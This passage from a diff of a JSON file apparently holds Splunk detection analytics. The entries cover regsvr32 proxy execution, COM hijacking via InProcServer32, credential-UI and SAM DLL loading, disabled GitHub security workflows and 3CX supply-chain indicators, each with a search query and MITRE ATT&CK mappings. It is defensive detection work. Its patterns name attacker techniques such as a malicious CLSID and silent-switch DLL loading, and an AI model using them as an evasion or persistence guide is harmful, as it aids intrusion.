} - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ in an attempt to bypass detection and preventative controls was identified on endpoint $dest$ by user $user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.010", - "mitre_attack_technique": "Regsvr32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "Blue Mockingbird", - "Cobalt Group", - "Deep Panda", - "Inception", - "Kimsuky", - "Leviathan", - "TA551", - "WIRTE" - ] - } - ] - } - }, - { - "name": "Malicious InProcServer32 Modification", - "description": "The following analytic detects a process modifying the registry with a known malicious CLSID under InProcServer32. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on registry modifications within the HKLM or HKCU Software Classes CLSID paths. This activity is significant as it may indicate an attempt to load a malicious DLL, potentially leading to code execution. If confirmed malicious, this could allow an attacker to persist in the environment, execute arbitrary code, or escalate privileges, posing a severe threat to system integrity and security.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes by _time Processes.process_id Processes.process_name Processes.dest Processes.process_guid Processes.user | `drop_dm_object_name(Processes)` | join process_guid [| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\CLSID\\\\{89565275-A714-4a43-912E-978B935EDCCC}\\\\InProcServer32\\\\(Default)\" by Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.dest Registry.process_guid Registry.user | `drop_dm_object_name(Registry)` | fields _time dest registry_path registry_key_name registry_value_name process_name process_path process process_guid user] | stats count min(_time) as firstTime max(_time) as lastTime by dest, process_name registry_path registry_key_name registry_value_name user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `malicious_inprocserver32_modification_filter`", - "tags": { - "analytic_story": [ - "Remcos", - "Suspicious Regsvr32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "The $process_name$ was identified on endpoint $dest$ modifying the registry with a known malicious clsid under InProcServer32.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.010", - "mitre_attack_technique": "Regsvr32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "Blue Mockingbird", - "Cobalt Group", - "Deep Panda", - "Inception", - "Kimsuky", - "Leviathan", - "TA551", - "WIRTE" - ] - }, - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Regsvr32 Silent and Install Param Dll Loading", - "description": "The following analytic detects the loading of a DLL using the regsvr32 application with the silent parameter and DLLInstall execution. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process command-line arguments and parent process details. This activity is significant as it is commonly used by RAT malware like Remcos and njRAT to load malicious DLLs on compromised machines. If confirmed malicious, this technique could allow attackers to execute arbitrary code, maintain persistence, and further compromise the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_regsvr32` AND Processes.process=\"*/i*\" by Processes.dest Processes.parent_process Processes.process Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where match(process,\"(?i)[\\-|\\/][Ss]{1}\") | `regsvr32_silent_and_install_param_dll_loading_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "Data Destruction", - "Hermetic Wiper", - "Living Off The Land", - "Remcos", - "Suspicious Regsvr32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to load a DLL using the silent and dllinstall parameter.", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.010", - "mitre_attack_technique": "Regsvr32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "Blue Mockingbird", - "Cobalt Group", - "Deep Panda", - "Inception", - "Kimsuky", - "Leviathan", - "TA551", - "WIRTE" - ] - } - ] - } - }, - { - "name": "Regsvr32 with Known Silent Switch Cmdline", - "description": "The following analytic detects the execution of Regsvr32.exe with the silent switch to load DLLs. This behavior is identified using Endpoint Detection and Response (EDR) telemetry, focusing on command-line executions containing the `-s` or `/s` switches. This activity is significant as it is commonly used in malware campaigns, such as IcedID, to stealthily load malicious DLLs. If confirmed malicious, this could allow an attacker to execute arbitrary code, download additional payloads, and potentially compromise the system further. Immediate investigation and endpoint isolation are recommended.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_regsvr32` by Processes.user Processes.process_name Processes.process Processes.parent_process_name Processes.original_file_name Processes.dest Processes.process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where match(process,\"(?i)[\\-|\\/][Ss]{1}\") | `regsvr32_with_known_silent_switch_cmdline_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "IcedID", - "Living Off The Land", - "Qakbot", - "Remcos", - "Suspicious Regsvr32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to load a DLL using the silent parameter.", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.010", - "mitre_attack_technique": "Regsvr32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "Blue Mockingbird", - "Cobalt Group", - "Deep Panda", - "Inception", - "Kimsuky", - "Leviathan", - "TA551", - "WIRTE" - ] - } - ] - } - }, - { - "name": "Suspicious Regsvr32 Register Suspicious Path", - "description": "The following analytic detects the use of Regsvr32.exe to register DLLs from suspicious paths such as AppData, ProgramData, or Windows Temp directories. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs and command-line arguments. This activity is significant because Regsvr32.exe can be abused to proxy execution of malicious code, bypassing traditional security controls. If confirmed malicious, this could allow an attacker to execute arbitrary code, potentially leading to system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_regsvr32` Processes.process IN (\"*\\\\appdata\\\\*\", \"*\\\\programdata\\\\*\",\"*\\\\windows\\\\temp\\\\*\") NOT (Processes.process IN (\"*.dll*\", \"*.ax*\", \"*.ocx*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.original_file_name Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `suspicious_regsvr32_register_suspicious_path_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Living Off The Land", - "Qakbot", - "Suspicious Regsvr32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to evade detection by using a non-standard file extension.", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.010", - "mitre_attack_technique": "Regsvr32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "Blue Mockingbird", - "Cobalt Group", - "Deep Panda", - "Inception", - "Kimsuky", - "Leviathan", - "TA551", - "WIRTE" - ] - } - ] - } - }, - { - "name": "Windows Regsvr32 Renamed Binary", - "description": "The following analytic identifies instances where the regsvr32.exe binary has been renamed and executed. This detection leverages Endpoint Detection and Response (EDR) data, specifically focusing on the original filename metadata. Renaming regsvr32.exe is significant as it can be an evasion technique used by attackers to bypass security controls. If confirmed malicious, this activity could allow an attacker to execute arbitrary DLLs, potentially leading to code execution, privilege escalation, or persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name != regsvr32.exe AND Processes.original_file_name=regsvr32.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_regsvr32_renamed_binary_filter`", - "tags": { - "analytic_story": [ - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "regsvr32 was renamed as $process_name$ in $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.010", - "mitre_attack_technique": "Regsvr32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "Blue Mockingbird", - "Cobalt Group", - "Deep Panda", - "Inception", - "Kimsuky", - "Leviathan", - "TA551", - "WIRTE" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } } ], "external_reference": [ @@ -588776,64 +391394,7 @@ "Event ID": null, "Event Name": "API monitoring" } - ], - { - "name": "Windows Input Capture Using Credential UI Dll", - "description": "The following analytic detects a process loading the credui.dll or wincredui.dll module. This detection leverages Sysmon EventCode 7 to identify instances where these DLLs are loaded by processes outside typical system directories. This activity is significant because adversaries often abuse these modules to create fake credential prompts or dump credentials, posing a risk of credential theft. If confirmed malicious, this activity could allow attackers to harvest user credentials, leading to unauthorized access and potential lateral movement within the network.", - "search": "`sysmon` EventCode=7 (ImageLoaded = \"*\\\\credui.dll\" AND OriginalFileName = \"credui.dll\") OR (ImageLoaded = \"*\\\\wincredui.dll\" AND OriginalFileName = \"wincredui.dll\") AND NOT(Image IN(\"*\\\\windows\\\\explorer.exe\", \"*\\\\windows\\\\system32\\\\*\", \"*\\\\windows\\\\sysWow64\\\\*\", \"*:\\\\program files*\")) | stats count min(_time) as firstTime max(_time) as lastTime by Image ImageLoaded OriginalFileName dest EventCode Signed ProcessId ProcessGuid | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_input_capture_using_credential_ui_dll_filter`", - "tags": { - "analytic_story": [ - "Brute Ratel C4" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "a process $Image$ loaded $ImageLoaded$ in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1056.002", - "mitre_attack_technique": "GUI Input Capture", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "FIN4" - ] - }, - { - "mitre_attack_id": "T1056", - "mitre_attack_technique": "Input Capture", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "APT39" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -589732,368 +392293,6 @@ "https://docs.microsoft.com/en-us/windows/win32/debug/pe-format", "https://elinux.org/Executable_and_Linkable_Format_(ELF)" ] - }, - { - "name": "Powershell COM Hijacking InprocServer32 Modification", - "description": "The following analytic detects attempts to modify or add a Component Object Model (COM) entry to the InProcServer32 path within the registry using PowerShell. It leverages PowerShell ScriptBlock Logging (EventCode 4104) to identify suspicious script blocks that target the InProcServer32 registry path. This activity is significant because modifying COM objects can be used for persistence or privilege escalation by attackers. If confirmed malicious, this could allow an attacker to execute arbitrary code or maintain persistent access to the compromised system, posing a severe security risk.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Software\\\\Classes\\\\CLSID\\\\*\\\\InProcServer32*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_com_hijacking_inprocserver32_modification_filter`", - "tags": { - "analytic_story": [ - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell script has been identified with InProcServer32 within the script code on $Computer$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.015", - "mitre_attack_technique": "Component Object Model Hijacking", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Powershell Execute COM Object", - "description": "The following analytic detects the execution of a COM CLSID through PowerShell. It leverages EventCode 4104 and searches for specific script block text indicating the creation of a COM object. This activity is significant as it is commonly used by adversaries and malware, such as the Conti ransomware, to execute commands, potentially for privilege escalation or bypassing User Account Control (UAC). If confirmed malicious, this technique could allow attackers to gain elevated privileges or persist within the environment, posing a significant security risk.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*CreateInstance([type]::GetTypeFromCLSID*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_execute_com_object_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious powershell script contains COM CLSID command on host $dest$", - "risk_score": 5, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.015", - "mitre_attack_technique": "Component Object Model Hijacking", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows COM Hijacking InprocServer32 Modification", - "description": "The following analytic detects the modification of the InProcServer32 registry key by reg.exe, indicative of potential COM hijacking. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and command-line execution logs. COM hijacking is significant as it allows adversaries to insert malicious code that executes in place of legitimate software, providing a means for persistence. If confirmed malicious, this activity could enable attackers to execute arbitrary code, disrupt legitimate system components, and maintain long-term access to the compromised environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_reg` Processes.process=*inprocserver32* by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_com_hijacking_inprocserver32_modification_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to modify InProcServer32 within the registry.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.015", - "mitre_attack_technique": "Component Object Model Hijacking", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -590263,70 +392462,6 @@ "platform": [ "PRE" ] - }, - { - "name": "Windows Gather Victim Identity SAM Info", - "description": "The following analytic detects processes loading the samlib.dll or samcli.dll modules, which are often abused to access Security Account Manager (SAM) objects or credentials on domain controllers. This detection leverages Sysmon EventCode 7 to identify these DLLs being loaded outside typical system directories. Monitoring this activity is crucial as it may indicate attempts to gather sensitive identity information. If confirmed malicious, this behavior could allow attackers to obtain credentials, escalate privileges, or further infiltrate the network.", - "search": "`sysmon` EventCode=7 (ImageLoaded = \"*\\\\samlib.dll\" AND OriginalFileName = \"samlib.dll\") OR (ImageLoaded = \"*\\\\samcli.dll\" AND OriginalFileName = \"SAMCLI.DLL\") AND NOT (Image IN(\"C:\\\\Windows\\\\*\", \"C:\\\\Program File*\", \"%systemroot%\\\\*\")) | stats count min(_time) as firstTime max(_time) as lastTime by Image ImageLoaded process_name dest EventCode Signed ProcessId | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_gather_victim_identity_sam_info_filter`", - "tags": { - "analytic_story": [ - "Brute Ratel C4" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Reconnaissance" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "An instance of $dest$ that loads $ImageLoaded$ that are related to accessing to SAM object information.", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1589.001", - "mitre_attack_technique": "Credentials", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [ - "APT28", - "APT41", - "Chimera", - "LAPSUS$", - "Leviathan", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1589", - "mitre_attack_technique": "Gather Victim Identity Information", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [ - "APT32", - "FIN13", - "HEXANE", - "LAPSUS$", - "Magic Hound" - ] - } - ] - } } ], "external_reference": [], @@ -590420,239 +392555,6 @@ "macOS", "Windows" ] - }, - { - "name": "GitHub Actions Disable Security Workflow", - "description": "The following analytic detects the disabling of a security workflow in GitHub Actions. It leverages GitHub logs to identify when a workflow, excluding those named *security-testing*, is disabled following a push or pull request event. This activity is significant as it may indicate an attempt by an attacker to conceal malicious code by disabling security checks. If confirmed malicious, this could allow the attacker to introduce and persist undetected malicious code within the repository, potentially compromising the integrity and security of the codebase.", - "search": "`github` workflow_run.event=push OR workflow_run.event=pull_request | stats values(workflow_run.name) as workflow_run.name by workflow_run.head_commit.id workflow_run.event workflow_run.head_branch workflow_run.head_commit.author.email workflow_run.head_commit.author.name workflow_run.head_commit.message workflow_run.head_commit.timestamp workflow_run.head_repository.full_name workflow_run.head_repository.owner.id workflow_run.head_repository.owner.login workflow_run.head_repository.owner.type | rename workflow_run.head_commit.author.name as user, workflow_run.head_commit.author.email as user_email, workflow_run.head_repository.full_name as repository, workflow_run.head_branch as branch | search NOT workflow_run.name=*security-testing* | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `github_actions_disable_security_workflow_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "GitHub", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "repository", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "Security Workflow is disabled in branch $branch$ for repository $repository$", - "risk_score": 27, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1195.002", - "mitre_attack_technique": "Compromise Software Supply Chain", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT41", - "Cobalt Group", - "Dragonfly", - "FIN7", - "GOLD SOUTHFIELD", - "Sandworm Team", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1195", - "mitre_attack_technique": "Supply Chain Compromise", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "3CX Supply Chain Attack Network Indicators", - "description": "The following analytic identifies DNS queries to domains associated with the 3CX supply chain attack. It leverages the Network_Resolution datamodel to detect these suspicious domain indicators. This activity is significant because it can indicate a potential compromise stemming from the 3CX supply chain attack, which is known for distributing malicious software through trusted updates. If confirmed malicious, this activity could allow attackers to establish a foothold in the network, exfiltrate sensitive data, or further propagate malware, leading to extensive damage and data breaches.", - "search": "| tstats `security_content_summariesonly` values(DNS.answer) as IPs min(_time) as firstTime from datamodel=Network_Resolution by DNS.src, DNS.query | `drop_dm_object_name(DNS)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | lookup 3cx_ioc_domains domain as query OUTPUT Description isIOC | search isIOC=true | `3cx_supply_chain_attack_network_indicators_filter`", - "tags": { - "analytic_story": [ - "3CX Supply Chain Attack" - ], - "asset_type": "Network", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "query", - "type": "URL String", - "role": [ - "Attacker" - ] - } - ], - "message": "Indicators related to 3CX supply chain attack have been identified on $src$.", - "risk_score": 100, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1195.002", - "mitre_attack_technique": "Compromise Software Supply Chain", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT41", - "Cobalt Group", - "Dragonfly", - "FIN7", - "GOLD SOUTHFIELD", - "Sandworm Team", - "Threat Group-3390" - ] - } - ] - } - }, - { - "name": "Hunting 3CXDesktopApp Software", - "description": "The following analytic detects the presence of any version of the 3CXDesktopApp, also known as the 3CX Desktop App, on Mac or Windows systems. It leverages the Endpoint data model's Processes node to identify instances of the application running, although it does not provide file version information. This activity is significant because 3CX has identified vulnerabilities in versions 18.12.407 and 18.12.416, which could be exploited by attackers. If confirmed malicious, this could lead to unauthorized access, data exfiltration, or further compromise of the affected systems.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=3CXDesktopApp.exe OR Processes.process_name=\"3CX Desktop App\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `hunting_3cxdesktopapp_software_filter`", - "tags": { - "analytic_story": [ - "3CX Supply Chain Attack" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - 